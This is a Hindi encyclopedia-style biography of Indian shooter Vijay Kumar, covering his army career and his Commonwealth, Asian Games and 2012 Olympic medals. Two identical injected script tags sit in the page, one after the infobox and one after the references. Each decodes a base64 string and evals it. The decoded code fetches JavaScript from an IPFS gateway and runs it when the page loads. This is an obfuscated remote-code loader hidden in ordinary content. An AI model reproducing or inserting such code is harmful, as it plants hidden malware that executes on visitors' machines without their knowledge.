विजय कुमार

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विजय कुमार
विजय कुमार
पूरा नाम सूबेदार मेजर विजय कुमार
जन्म 19 अगस्त, 1985
जन्म भूमि हरसौर गाँव, हमीरपुर जिला, हिमाचल प्रदेश
अभिभावक पिता- बंकूर राम शर्मा

माता- रोशनी देवी

कर्म भूमि भारत
खेल-क्षेत्र निशानेबाज़ी (25 मीटर रैपिड फायर पिस्तौल प्रतियोगिता)
पुरस्कार-उपाधि 2006 में अर्जुन पुरस्कार

2012 में राजीव गाँधी खेल रत्न (अब 'मेजर ध्यानचंद खेल रत्न')
2013 में अति विशिष्ट सेवा मेडल
2013 में पद्म श्री

प्रसिद्धि भारतीय निशानेबाज़
नागरिकता भारतीय

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>विजय कुमार शर्मा (अंग्रेज़ी: Vijay Kumar Sharma, जन्म- 19 अगस्त, 1985) भारतीय निशानेबाज़ हैं। इन्होंने भारत को 2012 के ओलंपिक में सिल्वर मैडल दिलाया था। विजय कुमार भारतीय सेना के सैनिक हैं। 2 साल तक इंडियन आर्मी में सेवा देने के बाद इनको शूटिंग में अपना प्रोफेशन बनाने का विचार आया। विजय सातवें शूटर हैं, जिन्होंने भारत को ओलंपिक में पदक दिलाया था। वे हमेशा कड़ी मेहनत, अनुशासन और ईमानदारी में विश्वास करते हैं। उनका यह भी मानना है कि इन गुणों ने ही उन्हें इस मुकाम तक पहुँचाया है।

परिचय

विजय कुमार का जन्म 19 अगस्त, 1985 को हरसौर गाँव, हमीरपुर जिला, हिमाचल प्रदेश में हुआ था। उनके पिता का नाम बंकुर राम शर्मा है, जो इंडियन आर्मी में सूबेदार मेजर थे। विजय कुमार के एक भाई भी हैं। उन्होंने अपनी स्कूल की पढाई हमीरपुर जिला से ही की। विजय का सपना बचपन से ही इंडियन आर्मी ज्वाइन करने का था। स्कूल के समय से ही विजय अपने सपने को साकार करने की ओर अग्रसर थे। बचपन से ही वह बहुत मेहनती और अनुशासित थे। उनका यही अनुशासन उनको आगे इंडियन आर्मी में काम आया।[1]

कॅरियर

स्कूल की पढ़ाई पूरी करते ही विजय कुमार ने 2001 में इंडियन आर्मी ज्वाइन कर ली थी। इसके साथ ही विजय का सपना पूरा हुआ। विजय का इंडियन आर्मी ज्वाइन करने का एक और उद्देश्य ये था कि वे अपने परिवार की आर्थिक तौर पर मदद करना चाहते थे। विजय कुमार इंडियन आर्मी में सूबेदार मेजर थे, जो डोगरा रेजिमेंट में थे। सन 2003 में विजय कुमार की पोस्टिंग इंडियन आर्मी मार्क्समेनशीप यूनिट, महू, इंदौर, मध्य प्रदेश हुई, जहाँ इन्होने शूटिंग में कॅरियर बनाने की सोची और यहाँ उनके कोच रसिया के स्मिर्नोक परेल थे। वे हफ्ते में पांच दिन रोज 5-6 घंटे प्रैक्टिस किया करते थे।

2006 - शूटिंग में कॅरियर बनाने के बाद विजय कुमार 2006 में लाइमलाइट में आये, जब उन्होंने ऑस्ट्रेलिया, मेलबर्न में आयोजित कॉमनवेल्थ गेम्स में ‘25 मीटर रैपिड फायर पिस्तौल प्रतियोगिता’ सिंगल में गोल्ड मैडल जीता। इसके साथ ही ‘25 मीटर रैपिड फायर पिस्तौल प्रतियोगिता’ जोड़े में पेम्बा तमांग के साथ भी विजय विजयी रहे और गोल्ड मैडल जीता। इस जीत के साथ वह 25 मीटर रैपिड फायर पिस्तौल प्रतियोगिता में नंबर रैंकिंग में आ गए और दुनिया उन्हें जानने लगी। इसी साल भारत सरकार ने उन्हें अनेकों पुरुस्कार दिए, जिसमें से मुख्य अर्जुन पुरस्कार था। इसी साल विजय कुमार ने दोहा, कतर में आयोजित एशियन गेम्स में 25 मीटर रैपिड फायर पिस्तौल प्रतियोगिता में ब्रोंज मैडल जीता। इसमें चाइना के लिऊ ज्होंगशेंग विजयी रहे थे। इसी एशियन गेम में 25 मीटर सेंटर फायर पिस्तौल एवं 25 स्टैण्डर्ड पिस्तौल में भारत के जसपाल राणा विजयी रहे, जिन्हें गोल्ड मैडल मिला था। इसके साथ ही 25 मीटर सेंटर फायर पिस्तौल टीम प्रतियोगिता में समरेश जंग, जसपाल राणा एवं विजय कुमार ने मिलकर जीत हासिल की और भारत को गोल्ड मैडल दिलाया।[1]

2007 - साल 2007 में आयोजित एशियन चैम्पियनशीप में 25 मीटर सेंटर फायर पिस्तौल प्रतियोगिता में विजय कुमार दूसरे स्थान पर आये।

2009 - साल 2009 में विजय कुमार ने बीजिंग में आयोजित आईएसएसएफ़ वर्ल्ड कप प्रतियोगिता में भाग लिया, जहाँ इन्हें सिल्वर मैडल मिला। इस पुरे साल विजय ने कड़ी मेहनत की, ताकि वे अगले साल दिल्ली में आयोजित होने वाले कॉमनवेल्थ गेम्स में बेहतर प्रदर्शन दे सकें।

2010 - साल 2010 में भारत में कॉमनवेल्थ गेम्स का आयोजन किया गया, जहाँ विजय ने भी हिस्सा लिया। ये विजय के लिए बड़ा मौका था, क्यूंकि अपने ही देश में गेम्स होने की वजह से समस्त देशवासियों की नजरें उन पर टिकी थीं, और सब उनसे ढेरों मैडल की उम्मीद लगाये बैठे थे। विजय कुमार ने यहाँ अपने आप को साबित भी कर दिखाया और अनेकों मैडल के साथ करोड़ों लोगों का दिल भी जीत लिया। इस कॉमनवेल्थ में उनकी परफॉरमेंस देखने लायक थी। पूरी दुनिया में उन्होंने अपनी प्रतिभा का डंका बजाया। इस गेम में आयोजित 25 मीटर सेंटर फायर पिस्तौल (पेयर्स) में विजय कुमार ने हरप्रीत सिंह के साथ जीत हासिल कर गोल्ड मैडल जीता। इसके अलावा 25 मीटर रैपिड फायर पिस्तौल (सिंगल) में विजय ने गोल्ड मैडल जीता। 25 मीटर रैपिड फायर पिस्तौल (पेयर्स) में भी विजय कुमार, गुरप्रीत सिंह के साथ विजयी रहे और गोल्ड मैडल जीता। इसमें इनका स्कोर 1162 पॉइंट रहा, जिसने नया कॉमनवेल्थ गेम रिकॉर्ड बना दिया था। 25 मीटर सेंटर फायर पिस्तौल (सिंगल) में विजय भारत के ही हरप्रीत सिंह से हार कर, दूसरे स्थान में रहे और उन्हें सिल्वर मैडल मिला। इस तरह दिल्ली कॉमनवेल्थ, 2010 में विजय कुमार को 3 गोल्ड और एक सिल्वर मैडल मिला। जिसके बाद विजय को कॉमनवेल्थ गेम्स का स्टार कहा गया।

2011 - साल 2011 में विजय कुमार को अपने आप को साबित करने के ज्यादा मौके नहीं मिले। इस साल इन्होने ‘फोर्ट बेन्निंग टूर्नामेंट’ में बस हिस्सा लिया और इन्हें यहाँ ब्रोंज मैडल मिला।

तत्कालीन राष्ट्रपति प्रणब मुखर्जी से 'पद्म श्री' प्राप्त करते विजय कुमार

2012 - विजय कुमार ने 2012 में लन्दन में आयोजित ओलंपिक में भारत का प्रतिनिधित्व किया। विजय ने 25 मीटर रैपिड फायर पिस्तौल इवेंट में हिस्सा लिया, जहाँ उन्हें अपने करियर का पहला ओलंपिक सिल्वर मैडल मिला। ये उस ओलंपिक में भारत का दूसरा सिल्वर मैडल था, इसके अलावा रेसलिंग में सुशील कुमार ने सिल्वर मैडल भारत के नाम किया था। विजय ने इस गेम को क्वालिफाइ करने के लिए 293 स्कोर किया था, जबकि फाइनल में उनका टोटल स्कोर 585 था। विजय ने लन्दन ओलंपिक के लिए 10 मीटर एयर पिस्तौल (पुरुष) में क्वालिफाइड मैच में हिस्सा लिया, लेकिन वे इसके फाइनल में बाहर हो गए थे।[1]

2014 - ग्लासगो में आयोजित कॉमनवेल्थ गेम्स में विजय कुमार को भारतीय ध्वजवाहक के लिए चुना गया था। इसी साल साउथ कोरिया में आयोजित एशियन गेम्स में 25 मीटर सेंटर फायर इवेंट में विजय कुमार ने पेम्बा तमांग एवं हरप्रीत सिंह के साथ सिल्वर मैडल जीता था। इसमें इनका स्कोर 1740 रहा, जो विजयी टीम चाइना से मात्र 2 पॉइंट कम था।

2016 - 2014 के बाद से विजय कुमार का स्वास्थ्य ठीक नहीं रहा, उन्हें कंधे एवं गर्दन में कुछ परेशानी होनी लगी। एक समय ऐसा भी आया था, जब इस महान प्रतिभा वाले निशानेबाज़ के अंदर इतनी भी ताकत नहीं थी कि वे पिस्तौल उठा सकें, और फायर कर सकें। लेकिन विजय ने हार नहीं मानी और अपनी स्वास्थ्य को बेहतर बनाने के लिए कार्य करने लगे। साल 2016 में आयोजित रियो ओलंपिक में जाने के लिए विजय ने क्वालिफाइ गेम में हिस्सा लिया। यहाँ 14 राउंड में से पांचवें राउंड में विजय ने बस 1 पॉइंट स्कोर किया और गेम से बाहर हो गए। इस तरह विजय का 2016 ओलंपिक में जाने का सपना इस हार के साथ ख़त्म हो गया।

पुरस्कार व सम्मान


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 विजय कुमार का जीवन परिचय (हिंदी) deepawali.co.in। अभिगमन तिथि: 14 सितम्बर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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